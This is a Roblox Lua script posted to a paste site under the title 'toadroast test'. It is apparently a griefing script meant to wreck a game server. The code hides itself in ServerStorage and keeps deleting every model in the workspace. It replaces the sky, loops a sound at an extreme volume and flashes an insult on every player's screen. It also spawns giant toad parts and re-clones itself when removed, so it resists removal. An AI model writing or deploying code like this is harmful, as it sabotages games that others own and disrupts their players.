sIendytubble

toadroast test

Jun 26th, 2020 (edited)
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  1. dick = script
  2. poop = game.ServerStorage
  3. dick.Parent = poop
  4. wait(1)
  5. math.randomseed(tick() % 1 * 1e6)
  6. sky = coroutine.create(function()
  7.    while wait(0.3) do
  8.        s = Instance.new("Sky",game.Lighting)
  9.        s.SkyboxBk,s.SkyboxDn,s.SkyboxFt,s.SkyboxLf,s.SkyboxRt,s.SkyboxUp = "rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408"
  10.        s.CelestialBodiesShown = false
  11.    end
  12. end)
  13.  
  14.  
  15. del = coroutine.create(function()
  16.    while wait(0.3) do
  17.        for i,v in pairs(workspace:GetChildren()) do
  18.            if v:IsA("Model") then
  19.                v:Destroy()
  20.            end
  21.        end
  22.    end
  23. end)
  24.  
  25.  
  26.  
  27. for i,v in pairs(game.Players:GetChildren()) do
  28.    v.Character.Archivable = true
  29. end
  30.  
  31. noises = {'rbxassetid://230287740','rbxassetid://271787597','rbxassetid://153752123','rbxassetid://271787503'}
  32.  
  33. sound = coroutine.create(function()
  34.    a = Instance.new("Sound",workspace)
  35.    a.SoundId = "rbxassetid://141509625"
  36.    a.Name = "RAINING MEN"
  37.    a.Volume = 58359
  38.    a.Looped = true
  39.    a:Play()
  40.    a.PlaybackSpeed = 0.97
  41.    e = Instance.new("EqualizerSoundEffect",a)
  42.    e.HighGain = 10
  43.    e.LowGain = 5
  44.    e.MidGain = -2
  45.    e.Priority = 1
  46.    while wait(0.2) do
  47.        rainin = workspace:FindFirstChild("RAINING MEN")
  48.        if not rainin then
  49.            a = Instance.new("Sound",workspace)
  50.            a.SoundId = "rbxassetid://141509625"
  51.            a.Name = "RAINING MEN"
  52.            a.Volume = 58359
  53.            a.Looped = true
  54.            a.PlaybackSpeed = 0.97
  55.            a:Play()
  56.            e = Instance.new("EqualizerSoundEffect",a)
  57.            e.HighGain = 10
  58.            e.LowGain = 5
  59.            e.MidGain = -2
  60.            e.Priority = 1
  61.        end
  62.    end
  63. end)
  64.  
  65. msg = coroutine.create(function()
  66.     ready = true
  67.     while ready == true do
  68.         ready = false
  69.     for i,v in pairs(game.Players:GetChildren()) do
  70.         coroutine.resume(coroutine.create(function()
  71.             local ScreenGui = Instance.new("ScreenGui",v.PlayerGui)
  72.             local Frame = Instance.new("Frame",ScreenGui)
  73.             local TextLabel = Instance.new("TextLabel",Frame)
  74.             Frame.BackgroundTransparency = 1
  75.             Frame.Size = UDim2.new(1, 0,1, 0)
  76.             Frame.Position = UDim2.new(0, 0,0, 0)
  77.             TextLabel.Text = 'get toadroasted you bacon-haired bozos'
  78.             TextLabel.TextSize = 21
  79.             TextLabel.Font = "Arial"
  80.             TextLabel.Position = UDim2.new(0, 0,0, 0)
  81.             TextLabel.Size = UDim2.new(1, 0,1, 0)
  82.             TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  83.             TextLabel.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
  84.             TextLabel.TextStrokeTransparency = 0
  85.             TextLabel.BackgroundTransparency = 0.5
  86.             TextLabel.BackgroundColor3 = Color3.fromRGB(128, 128, 128)
  87.             wait(0.4)
  88.             ScreenGui:Destroy()
  89.         end))
  90.     end
  91.         wait(0.8)
  92.         ready = true
  93.     end
  94. end)
  95.  
  96.  
  97. rain = coroutine.create(function()
  98.    while wait(10 % 1 * 1e2) do
  99.        part = Instance.new("Part",workspace)
  100.        part.Name = "Toad"
  101.      
  102.        mesh = Instance.new("SpecialMesh",part)
  103.      
  104.        sound = Instance.new("Sound",workspace)
  105.      
  106.        part.CanCollide = false
  107.        part.Size = Vector3.new(440,530,380)
  108.        part.Position = Vector3.new(math.random(-3000,1000),math.random(1,3000),math.random(-3000,3000))
  109.  
  110.        sound.SoundId = noises[math.random(1,#noises)]
  111.        sound:Play()
  112.        sound.Ended:connect(function()
  113.            sound:Destroy()
  114.        end)
  115.      
  116.      
  117.        mesh.MeshType = "FileMesh"
  118.        mesh.MeshId = "rbxassetid://430210147"
  119.        mesh.TextureId = "rbxassetid://430210159"
  120.    end
  121. end)
  122. coroutine.resume(sky)
  123. coroutine.resume(del)
  124. coroutine.resume(sound)
  125. coroutine.resume(msg)
  126. coroutine.resume(rain)
  127. local Settings={["Un_Removable"]= "On"}
  128. local function mFloor(x) return x - x % 1 end
  129. local Un_Removable = tostring(Settings["Un_Removable"]):lower() == "on"
  130. if Un_Removable then
  131.     Game.Workspace.DescendantRemoving:connect(function(Child)
  132.         if not Remove_At_Will and Child == script then
  133.             script:Clone().Parent = Game.Workspace
  134.         end
  135. end)
  136. end
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